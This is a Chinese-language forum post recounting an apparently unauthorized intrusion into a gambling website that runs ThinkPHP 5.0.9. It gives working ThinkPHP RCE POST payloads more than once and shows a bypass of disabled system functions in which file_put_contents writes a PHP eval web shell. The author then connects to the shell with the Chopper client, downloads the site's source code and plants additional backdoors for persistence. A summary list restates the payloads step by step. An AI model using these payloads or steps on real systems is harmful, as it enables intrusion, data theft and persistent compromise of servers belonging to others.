taibeihacker
Moderator
0x01 确定目标
主站:
旁站:

0x02 漏洞利用
通過信息收集發現是個tp v5.0.9,此版本存在tp-rce漏洞。
直接通過payload進行測試,
Post:_method=__constructfilter[]=assertmethod=getget[]=phpinfo()
查找payload,直接打:
Post:_method=__constructfilter[]=assertmethod=getget[]=phpinfo()

發現是php 5.4.45版本的,
直接嘗試getshell:

發現system被禁用,嘗試其他系統命令的也一樣。

查看phpinfo中desable_functions禁用了那些函數。

想辦法怎麼繞過進行寫馬(此處卡了我半天)
最後通過一位滲透小伙伴,想出下面的可以利用file_put_contents直接寫shell,想了半天,忘了用其他函數進行直接寫馬就可以了,並不需要非得利用system命令進行寫馬,還是底層知識薄弱啊。再次感謝小伙伴!

0x03 getshell
構造payload:_method=__constructfilter[]=assertmethod=getget[]=file_put_contents('a.php','?php eval($_POST[a])?')

寫入成功,利用菜刀連接。

成功連接。
查看權限:

發現啟動了遠程安全模式。
想要繞過,發現很多函數被禁用,佔未成功。
下載源碼:

多部署一些後門,防止被刪。
0x04 总结
1.打開BC網站,通過底部版本信息,發現該站點框架是tp v5.0.9,存在RCE漏洞Post:_method=__constructfilter[]=assertmethod=getget[]=phpinfo()
2.發現是php 5.4.45版本的,直接嘗試執行命令,發現system函數以及執行系統命令的函數也被禁用。
Post:_method=__constructfilter[]=assertmethod=getget[]=whomai
3.雖然禁用系統命令函數,可利用file_put_contents直接寫shell繞過
4.獲得getshell
構造payload:
_method=__constructfilter[]=assertmethod=getget[]=file_put_contents('a.php','?php eval($_POST[a])?')
5.寫入成功,利用菜刀連接
來源:https://xz.aliyun.com/t/9232